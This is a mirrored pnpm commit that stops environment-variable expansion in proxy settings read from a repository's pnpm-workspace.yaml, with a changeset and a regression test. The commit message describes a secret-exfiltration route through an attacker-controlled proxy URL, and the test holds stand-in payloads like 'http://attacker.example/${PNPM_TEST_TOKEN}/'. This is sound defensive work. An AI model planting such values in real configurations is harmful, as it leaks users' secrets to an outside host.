mirror of
https://github.com/pnpm/pnpm.git
synced 2026-07-14 01:32:40 -04:00
fix(config): do not expand env vars in proxy fields from pnpm-workspace.yaml (#12898)
Backport of 5a4daec4bd from main.
Project-level pnpm-workspace.yaml is repository-controlled and therefore
untrusted, so getOptionsFromPnpmSettings refuses to expand ${...}
environment-variable placeholders in request-destination fields. The guarded
set only covered registry; the httpProxy, httpsProxy, noProxy, proxy, and
noproxy fields were missing, so a malicious repository could route requests
through an attacker-controlled proxy whose URL embedded a secret and
exfiltrate install-time secrets before any lifecycle script runs.
Add the proxy fields to REQUEST_DESTINATION_SCALAR_KEYS so they receive the
same protection already applied to the registry channel.
Reported by YESHYUNGSEOK as flaw F01 of GHSA-vx52-2968-3vc6.
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
6
.changeset/proxy-fields-env-expansion.md
Normal file
6
.changeset/proxy-fields-env-expansion.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
"@pnpm/config": patch
|
||||
"pnpm": patch
|
||||
---
|
||||
|
||||
`${...}` environment-variable placeholders in the `httpProxy`, `httpsProxy`, `noProxy`, `proxy`, and `noproxy` settings are no longer expanded when these settings come from a project's `pnpm-workspace.yaml`. They now receive the same protection already applied to `registry`.
|
||||
@@ -120,7 +120,7 @@ export function getOptionsFromPnpmSettings (manifestDir: string, pnpmSettings: P
|
||||
// root manifest are repository-controlled, so expanding ${...} placeholders
|
||||
// in these values would let a repository exfiltrate environment variables
|
||||
// through the URLs pnpm sends requests to.
|
||||
const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['registry'])
|
||||
const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['registry', 'httpProxy', 'httpsProxy', 'noProxy', 'proxy', 'noproxy'])
|
||||
|
||||
function replaceEnvInSettings (settings: PnpmSettings): PnpmSettings {
|
||||
const newSettings: PnpmSettings = {}
|
||||
|
||||
@@ -183,6 +183,25 @@ test('getOptionsFromPnpmSettings() ignores env variables inside registry setting
|
||||
expect(options.registry).toBeUndefined()
|
||||
})
|
||||
|
||||
test('getOptionsFromPnpmSettings() ignores env variables inside proxy settings', () => {
|
||||
process.env.PNPM_TEST_TOKEN = 'secret'
|
||||
/* eslint-disable no-template-curly-in-string */
|
||||
const options = getOptionsFromPnpmSettings(process.cwd(), {
|
||||
httpsProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/',
|
||||
httpProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/',
|
||||
noProxy: '${PNPM_TEST_TOKEN}.example.com',
|
||||
proxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/',
|
||||
noproxy: '${PNPM_TEST_TOKEN}.example.com',
|
||||
} as any) as any // eslint-disable-line
|
||||
/* eslint-enable no-template-curly-in-string */
|
||||
expect(options.httpsProxy).toBeUndefined()
|
||||
expect(options.httpProxy).toBeUndefined()
|
||||
expect(options.noProxy).toBeUndefined()
|
||||
expect(options.proxy).toBeUndefined()
|
||||
expect(options.noproxy).toBeUndefined()
|
||||
expect(JSON.stringify(options)).not.toContain('secret')
|
||||
})
|
||||
|
||||
test('getOptionsFromPnpmSettings() keeps a registry setting without env placeholders', () => {
|
||||
const options = getOptionsFromPnpmSettings(process.cwd(), {
|
||||
registry: 'https://registry.example.com/npm/',
|
||||
|
||||
Reference in New Issue
Block a user